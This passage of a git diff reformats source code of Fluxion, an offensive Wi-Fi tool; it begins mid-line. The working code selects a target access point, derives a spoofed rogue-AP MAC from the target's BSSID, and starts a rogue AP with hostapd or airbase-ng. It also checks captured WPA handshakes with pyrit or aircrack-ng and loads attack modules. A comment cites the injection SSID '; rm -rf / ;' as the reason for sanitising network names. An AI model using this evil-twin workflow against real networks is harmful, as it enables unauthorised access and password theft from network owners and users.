"CH" "SECURITY" "BSSID") + format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" + local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID") - format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n" - io_query_format_fields "$headerTitle$headerFields" "$FormatApplyAutosize" \ - TargetAPCandidatesColor[@] \ - TargetAPCandidatesESSID[@] \ - TargetAPCandidatesQuality[@] \ - TargetAPCandidatesPower[@] \ - TargetAPCandidatesClientsCount[@] \ - TargetAPCandidatesChannel[@] \ - TargetAPCandidatesSecurity[@] \ - TargetAPCandidatesMAC[@] + format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n" + io_query_format_fields "$headerTitle$headerFields" "$FormatApplyAutosize" \ + TargetAPCandidatesColor[@] \ + TargetAPCandidatesESSID[@] \ + TargetAPCandidatesQuality[@] \ + TargetAPCandidatesPower[@] \ + TargetAPCandidatesClientsCount[@] \ + TargetAPCandidatesChannel[@] \ + TargetAPCandidatesSecurity[@] \ + TargetAPCandidatesMAC[@] - echo + echo - APTargetSSID=${IOQueryFormatFields[1]} - APTargetChannel=${IOQueryFormatFields[5]} - APTargetEncryption=${IOQueryFormatFields[6]} - APTargetMAC=${IOQueryFormatFields[7]} - APTargetMakerID=${APTargetMAC:0:8} - APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,} | cut -d ' ' -f 5-) + APTargetSSID=${IOQueryFormatFields[1]} + APTargetChannel=${IOQueryFormatFields[5]} + APTargetEncryption=${IOQueryFormatFields[6]} + APTargetMAC=${IOQueryFormatFields[7]} + APTargetMakerID=${APTargetMAC:0:8} + APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,} | cut -d ' ' -f 5-) - # Sanitize network ESSID to normalize it and make it safe for manipulation. - # Notice: Why remove these? Because some smartass might decide to name their - # network something like "; rm -rf / ;". If the string isn't sanitized accidentally - # shit'll hit the fan and we'll have an extremely distressed person subit an issue. - # Removing: ' ', '/', '.', '~', '\' - APTargetSSIDClean=$(echo "$APTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g') + # Sanitize network ESSID to normalize it and make it safe for manipulation. + # Notice: Why remove these? Because some smartass might decide to name their + # network something like "; rm -rf / ;". If the string isn't sanitized accidentally + # shit'll hit the fan and we'll have an extremely distressed person subit an issue. + # Removing: ' ', '/', '.', '~', '\' + APTargetSSIDClean=$(echo "$APTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g') - # We'll change a single hex digit from the target AP's MAC address. - # This new MAC address will be used as the rogue AP's MAC address. - local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1))) - APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}" + # We'll change a single hex digit from the target AP's MAC address. + # This new MAC address will be used as the rogue AP's MAC address. + local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1))) + APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}" } function fluxion_show_ap_info() { - format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n" + format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n" - local colorlessFormat="$FormatApplyAutosize" - local colorfullFormat=$(echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g') + local colorlessFormat="$FormatApplyAutosize" + local colorfullFormat=$(echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g') - printf "$colorlessFormat" "" "ESSID" "\"$APTargetSSID\" / $APTargetEncryption" "" - printf "$colorlessFormat" "" "Channel" "$APTargetChannel" "" - printf "$colorfullFormat" "" "BSSID" "$APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)" "" + printf "$colorlessFormat" "" "ESSID" "\"$APTargetSSID\" / $APTargetEncryption" "" + printf "$colorlessFormat" "" "Channel" "$APTargetChannel" "" + printf "$colorfullFormat" "" "BSSID" "$APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)" "" - echo + echo } - #################################### < AP Service > #################################### function fluxion_unset_ap_service() { - APRogueService=""; + APRogueService="" } function fluxion_set_ap_service() { - if [ "$APRogueService" ]; then return 0; fi + if [ "$APRogueService" ]; then return 0; fi - fluxion_unset_ap_service + fluxion_unset_ap_service - if [ "$FLUXIONAuto" ]; then - APRogueService="hostapd"; - else - fluxion_header + if [ "$FLUXIONAuto" ]; then + APRogueService="hostapd" + else + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery" - echo + echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] + local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption") + io_query_choice "" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";; - "$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";; - "$FLUXIONGeneralBackOption" ) fluxion_unset_ap_service; return 1;; - * ) fluxion_conditional_bail; return 1;; - esac - fi + case "$IOQueryChoice" in + "$FLUXIONAPServiceHostapdOption") APRogueService="hostapd" ;; + "$FLUXIONAPServiceAirbaseOption") APRogueService="airbase-ng" ;; + "$FLUXIONGeneralBackOption") + fluxion_unset_ap_service + return 1 + ;; + *) + fluxion_conditional_bail + return 1 + ;; + esac + fi - # AP Service: Load the service's helper routines. - source "lib/ap/$APRogueService.sh" + # AP Service: Load the service's helper routines. + source "lib/ap/$APRogueService.sh" } ###################################### < Hashes > ###################################### function fluxion_check_hash() { - if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then - echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" - sleep 3 - return 1; - fi + if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then + echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError" + sleep 3 + return 1 + fi - local verifier + local verifier - if [ "$FLUXIONAuto" ]; then - verifier="pyrit" - else - fluxion_header + if [ "$FLUXIONAuto" ]; then + verifier="pyrit" + else + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery" - echo + echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] + local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") + io_query_choice "" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";; - "$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";; - "$FLUXIONGeneralBackOption") return 1;; - esac - fi + case "$IOQueryChoice" in + "$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit" ;; + "$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng" ;; + "$FLUXIONGeneralBackOption") return 1 ;; + esac + fi - hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice - local hashResult=$? + hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" >$FLUXIONOutputDevice + local hashResult=$? - # A value other than 0 means there's an issue with the hash. - if [ $hashResult -ne 0 ] - then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError" - else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" - fi + # A value other than 0 means there's an issue with the hash. + if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError" + else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice" + fi - sleep 3 + sleep 3 - if [ $hashResult -ne 0 ]; then return 1; fi + if [ $hashResult -ne 0 ]; then return 1; fi } function fluxion_set_hash_path() { - fluxion_header - echo - echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery" - echo - echo -ne "$FLUXIONAbsolutePathInfo: " - read APTargetHashPath + fluxion_header + echo + echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery" + echo + echo -ne "$FLUXIONAbsolutePathInfo: " + read APTargetHashPath } function fluxion_unset_hash() { - APTargetHashPath="" + APTargetHashPath="" } function fluxion_set_hash() { - if [ "$APTargetHashPath" ]; then return 0; fi + if [ "$APTargetHashPath" ]; then return 0; fi - fluxion_unset_hash + fluxion_unset_hash - # Scan for an existing hash for potential use, if one exists, - # ask the user if we should use it, or to skip it. - if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \ - -s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then + # Scan for an existing hash for potential use, if one exists, + # ask the user if we should use it, or to skip it. + if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \ + -s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then - if [ ! "$FLUXIONAuto" ];then - fluxion_header + if [ ! "$FLUXIONAuto" ]; then + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" - echo + echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - printf "Path: %s\n" "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" - echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] " + printf "Path: %s\n" "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" + echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] " - read APTargetHashPathConsidered + read APTargetHashPathConsidered - echo - fi + echo + fi - if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then - APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" - fluxion_check_hash - # If the user decides to go back, we must unset. - if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi - fi - fi + if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then + APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" + fluxion_check_hash + # If the user decides to go back, we must unset. + if [ $? -ne 0 ]; then + fluxion_unset_hash + return 1 + fi + fi + fi - # If the hash was not found, or if it was skipped, - # ask for location or for gathering one. - while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do - fluxion_header + # If the hash was not found, or if it was skipped, + # ask for location or for gathering one. + while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery" - echo + echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption") - io_query_choice "" choices[@] + local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption") + io_query_choice "" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONHashSourcePathOption") fluxion_set_hash_path; fluxion_check_hash;; - "$FLUXIONHashSourceRescanOption") fluxion_set_hash;; # Rescan checks hash automatically. - "$FLUXIONGeneralBackOption" ) fluxion_unset_hash; return 1;; - esac + case "$IOQueryChoice" in + "$FLUXIONHashSourcePathOption") + fluxion_set_hash_path + fluxion_check_hash + ;; + "$FLUXIONHashSourceRescanOption") fluxion_set_hash ;; # Rescan checks hash automatically. + "$FLUXIONGeneralBackOption") + fluxion_unset_hash + return 1 + ;; + esac - # This conditional is required for return values - # of operation performed in the case statement. - if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi - done + # This conditional is required for return values + # of operation performed in the case statement. + if [ $? -ne 0 ]; then + fluxion_unset_hash + return 1 + fi + done - # Copy to workspace for hash-required operations. - cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap" + # Copy to workspace for hash-required operations. + cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap" } ###################################### < Attack > ###################################### function fluxion_unset_attack() { - if [ "$FLUXIONAttack" ] - then unprep_attack - fi - FLUXIONAttack="" + if [ "$FLUXIONAttack" ]; then unprep_attack + fi + FLUXIONAttack="" } # Select the attack strategy to be used. function fluxion_set_attack() { - if [ "$FLUXIONAttack" ]; then return 0; fi + if [ "$FLUXIONAttack" ]; then return 0; fi - fluxion_unset_attack + fluxion_unset_attack - fluxion_header + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONAttackQuery" - echo + echo -e "$FLUXIONVLine $FLUXIONAttackQuery" + echo - fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" + fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker" - #local attacksMeta=$(head -n 3 attacks/*/language/$FLUXIONLanguage.sh) + #local attacksMeta=$(head -n 3 attacks/*/language/$FLUXIONLanguage.sh) - #local attacksIdentifier - #readarray -t attacksIdentifier < <("`echo "$attacksMeta" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`") + #local attacksIdentifier + #readarray -t attacksIdentifier < <("`echo "$attacksMeta" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`") - #local attacksDescription - #readarray -t attacksDescription < <("`echo "$attacksMeta" | grep -E "^# description: " | sed -E 's/# \w+: //'`") + #local attacksDescription + #readarray -t attacksDescription < <("`echo "$attacksMeta" | grep -E "^# description: " | sed -E 's/# \w+: //'`") - local attacks - readarray -t attacks < <(ls -1 attacks) + local attacks + readarray -t attacks < <(ls -1 attacks) - local descriptions - readarray -t descriptions < <(head -n 3 attacks/*/language/$FLUXIONLanguage.sh | grep -E "^# description: " | sed -E 's/# \w+: //') + local descriptions + readarray -t descriptions < <(head -n 3 attacks/*/language/$FLUXIONLanguage.sh | grep -E "^# description: " | sed -E 's/# \w+: //') - local identifiers=() + local identifiers=() - local attack - for attack in "${attacks[@]}"; do - local identifier="`head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`" - if [ "$identifier" ] - then identifiers+=("$identifier") - else identifiers+=("$attack") - fi - done + local attack + for attack in "${attacks[@]}"; do + local identifier="$(head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //')" + if [ "$identifier" ]; then identifiers+=("$identifier") + else identifiers+=("$attack") + fi + done - attacks+=("$FLUXIONGeneralBackOption") - identifiers+=("$FLUXIONGeneralBackOption") - descriptions+=("") + attacks+=("$FLUXIONGeneralBackOption") + identifiers+=("$FLUXIONGeneralBackOption") + descriptions+=("") - io_query_format_fields "" "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" attacks[@] identifiers[@] descriptions[@] + io_query_format_fields "" "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" attacks[@] identifiers[@] descriptions[@] - echo + echo - if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then - fluxion_unset_target_ap - fluxion_unset_attack - return 1 - fi + if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then + fluxion_unset_target_ap + fluxion_unset_attack + return 1 + fi - FLUXIONAttack=${IOQueryFormatFields[0]} + FLUXIONAttack=${IOQueryFormatFields[0]} - # Load attack and its corresponding language file. - source "attacks/$FLUXIONAttack/language/$FLUXIONLanguage.sh" - source "attacks/$FLUXIONAttack/attack.sh" + # Load attack and its corresponding language file. + source "attacks/$FLUXIONAttack/language/$FLUXIONLanguage.sh" + source "attacks/$FLUXIONAttack/attack.sh" - prep_attack + prep_attack - if [ $? -ne 0 ]; then - fluxion_unset_attack - return 1 - fi + if [ $? -ne 0 ]; then + fluxion_unset_attack + return 1 + fi } # Attack function fluxion_run_attack() { - start_attack + start_attack - local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption") - io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@] + local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption") + io_query_choice "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@] - echo + echo - # IOQueryChoice is a global, meaning, its value is volatile. - # We need to make sure to save the choice before it changes. - local choice="$IOQueryChoice" + # IOQueryChoice is a global, meaning, its value is volatile. + # We need to make sure to save the choice before it changes. + local choice="$IOQueryChoice" - stop_attack + stop_attack - if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then fluxion_handle_exit; fi + if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then fluxion_handle_exit; fi - fluxion_unset_attack + fluxion_unset_attack } ################################### < FLUXION Loop > ################################### @@ -976,11 +1010,16 @@ fluxion_set_resolution fluxion_set_language while true; do - fluxion_set_interface; if [ $? -ne 0 ]; then continue; fi - fluxion_set_scanner; if [ $? -ne 0 ]; then continue; fi - fluxion_set_target_ap; if [ $? -ne 0 ]; then continue; fi - fluxion_set_attack; if [ $? -ne 0 ]; then continue; fi - fluxion_run_attack; if [ $? -ne 0 ]; then continue; fi + fluxion_set_interface + if [ $? -ne 0 ]; then continue; fi + fluxion_set_scanner + if [ $? -ne 0 ]; then continue; fi + fluxion_set_target_ap + if [ $? -ne 0 ]; then continue; fi + fluxion_set_attack + if [ $? -ne 0 ]; then continue; fi + fluxion_run_attack + if [ $? -ne 0 ]; then continue; fi done # FLUXSCRIPT END diff --git a/lib/ArrayUtils.sh b/lib/ArrayUtils.sh index 6aaaf4c..c347d38 100755 --- a/lib/ArrayUtils.sh +++ b/lib/ArrayUtils.sh @@ -11,20 +11,20 @@ readonly ArrayUtilsVersion="1.0" # Eventually, input_choice's "choice" variable will # be indirectly expanded rather than the choice array. function array_contains() { - local __array_contains__item + local __array_contains__item - # An efficient way to pass arrays around in bash - # is to perform indirect expansion by using the - # expansion symbol, $, along with the indirection - # symbol, !, in curly braces, ${! }, resulting in: - # function call: array_contains array[@] "text" - # funct params: $1 = "array[@]" $2 = "text" - # indirect exp: ${!1} => ${array[@]} (replaced!) - for __array_contains__item in "${!1}"; do - [[ "$__array_contains__item" == "$2" ]] && return 0; - done + # An efficient way to pass arrays around in bash + # is to perform indirect expansion by using the + # expansion symbol, $, along with the indirection + # symbol, !, in curly braces, ${! }, resulting in: + # function call: array_contains array[@] "text" + # funct params: $1 = "array[@]" $2 = "text" + # indirect exp: ${!1} => ${array[@]} (replaced!) + for __array_contains__item in "${!1}"; do + [[ "$__array_contains__item" == "$2" ]] && return 0 + done - return 1 # Not found + return 1 # Not found } # FLUXSCRIPT END diff --git a/lib/FormatUtils.sh b/lib/FormatUtils.sh index 921f97c..f16a1c6 100755 --- a/lib/FormatUtils.sh +++ b/lib/FormatUtils.sh @@ -13,185 +13,181 @@ tabs -$FormatTabLength # Set tab width to var # It only strips those needed by fluxion, currently. # Parameters: $1 - format function format_strip_invisibles() { - # This function currently only strips the following: - # Color escape sequences, & control characters - FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g') + # This function currently only strips the following: + # Color escape sequences, & control characters + FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g') } # This function replaces all invisible characters # with a specifier of their corresponding length. # Parameters: $1 - format function format_expand_invisibles() { - FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g') + FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g') } # This function lists all operators in format. # Parameters: $1 - format function format_list_specifiers() { - # Special specifier also included (with length value as '*'). - FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers")) + # Special specifier also included (with length value as '*'). + FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers")) } # This function calculates the dynamic specifier count in format. # Parameters: $1 - format [$2 - specifier array] function format_calculate_dynamics_count() { - local __format_calculate_dynamics_count__specifiers=("${!2}") + local __format_calculate_dynamics_count__specifiers=("${!2}") - if [ ! "$2" ] - then format_list_specifiers "$1" - __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") - fi + if [ ! "$2" ]; then + format_list_specifiers "$1" + __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") + fi - FormatCalculateDynamicsCount=0 - local __format_calculate_dynamics_count__specifier - for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do - if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1 - then ((FormatCalculateDynamicsCount++)) - fi - done + FormatCalculateDynamicsCount=0 + local __format_calculate_dynamics_count__specifier + for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do + if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++)) + fi + done } # This function calculates total length of statics in format. # Statics are all specifiers in format with a fixed size. # Parameters: $1 - format [$2 - specifier array] function format_calculate_statics_length() { - local __format_calculate_statics_length__specifiers=("${!2}") + local __format_calculate_statics_length__specifiers=("${!2}") - if [ ! "$2" ]; then - echo "format_calculate_statics_length missing \$2" - format_list_specifiers "$1" - __format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}") - fi - FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}') + if [ ! "$2" ]; then + echo "format_calculate_statics_length missing \$2" + format_list_specifiers "$1" + __format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}") + fi + FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}') } # This function calculates total length of literals in format. # Literals are all characters in format printed literally. # Parameters: $1 - format [$2 - processed format [$3 - specifier array]] function format_calculate_literals_length() { - local __format_calculate_literals_length__normalizedFormat="`echo "$2" | sed -r 's/%%|\*\*/X/g'`" - local __format_calculate_literals_length__specifiers=("${!3}") + local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')" + local __format_calculate_literals_length__specifiers=("${!3}") - if [ ! "$2" ]; then - echo "format_calculate_literals_length missing \$2" - format_strip_invisibles "$1" - __format_calculate_literals_length__normalizedFormat="`echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g'`" - fi + if [ ! "$2" ]; then + echo "format_calculate_literals_length missing \$2" + format_strip_invisibles "$1" + __format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')" + fi - if [ ! "$3" ]; then - echo "format_calculate_literals_length missing \$3" - format_list_specifiers "$1" - __format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}") - fi + if [ ! "$3" ]; then + echo "format_calculate_literals_length missing \$3" + format_list_specifiers "$1" + __format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}") + fi - FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]}))) + FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]}))) } # This function calculates the total length of statics & literals in format. # Parameters: $1 - format [$2 - statics length [$3 - literals length]] function format_calculate_length() { - local __format_calculate_length__staticsLength=$2 - local __format_calculate_length__literalsLength=$3 + local __format_calculate_length__staticsLength=$2 + local __format_calculate_length__literalsLength=$3 - if [ ! "$2" ]; then - #echo "format_calculate_length missing \$2" - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - format_calculate_statics_length X FormatListSpecifiers[@] - __format_calculate_length__staticsLength=$FormatCalculateStaticsLength - fi + if [ ! "$2" ]; then + #echo "format_calculate_length missing \$2" + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + format_calculate_statics_length X FormatListSpecifiers[@] + __format_calculate_length__staticsLength=$FormatCalculateStaticsLength + fi - if [ ! "$3" ]; then - if [ "$2" ]; then - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - fi - #echo "format_calculate_length missing \$3" - format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] - __format_calculate_length__literalsLength=$FormatCalculateLiteralsLength - fi + if [ ! "$3" ]; then + if [ "$2" ]; then + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + fi + #echo "format_calculate_length missing \$3" + format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] + __format_calculate_length__literalsLength=$FormatCalculateLiteralsLength + fi - FormatCalculateLength=$(( __format_calculate_length__staticsLength + __format_calculate_length__literalsLength )) + FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength)) } # This function calculates total length of dynamics in format. # Dynamics are all asterisk-containing specifiers in format. # Parameters: $1 - format [$2 - format length ] function format_calculate_dynamics_length() { - local __format_calculate_dynamics_length__formatLength=$2 + local __format_calculate_dynamics_length__formatLength=$2 - if [ ! "$2" ]; then - echo "format_calculate_dynamics_length missing \$2" - format_calculate_length "$1" - __format_calculate_dynamics_length__formatLength=$FormatCalculateLength - fi + if [ ! "$2" ]; then + echo "format_calculate_dynamics_length missing \$2" + format_calculate_length "$1" + __format_calculate_dynamics_length__formatLength=$FormatCalculateLength + fi - FormatCalculateDynamicsLength=$(( $(tput cols) - $__format_calculate_dynamics_length__formatLength )) + FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength)) } # This function calculates the size of individual dynamics in format. # Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] function format_calculate_autosize_length() { - local __format_calculate_autosize_length__dynamicsLength=$2 - local __format_calculate_autosize_length__dynamicsCount=$3 + local __format_calculate_autosize_length__dynamicsLength=$2 + local __format_calculate_autosize_length__dynamicsCount=$3 - if [ ! "$2" ]; then - format_expand_invisibles "$1" - format_list_specifiers "$FormatExpandInvisibles" - format_calculate_statics_length X FormatListSpecifiers[@] - format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] - format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength" - format_calculate_dynamics_length X "$FormatCalculateLength" - __format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength - fi + if [ ! "$2" ]; then + format_expand_invisibles "$1" + format_list_specifiers "$FormatExpandInvisibles" + format_calculate_statics_length X FormatListSpecifiers[@] + format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] + format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength" + format_calculate_dynamics_length X "$FormatCalculateLength" + __format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength + fi - if [ ! "$3" ]; then - if [ "$2" ] - then format_list_specifiers "$1" - fi - format_calculate_dynamics_count X FormatListSpecifiers[@] - __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount - fi + if [ ! "$3" ]; then + if [ "$2" ]; then format_list_specifiers "$1" + fi + format_calculate_dynamics_count X FormatListSpecifiers[@] + __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount + fi - if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ - $__format_calculate_autosize_length__dynamicsLength -ge 0 ] - then FormatCalculateAutosizeLength=$(( __format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount )) - else FormatCalculateAutosizeLength=0 - fi + if 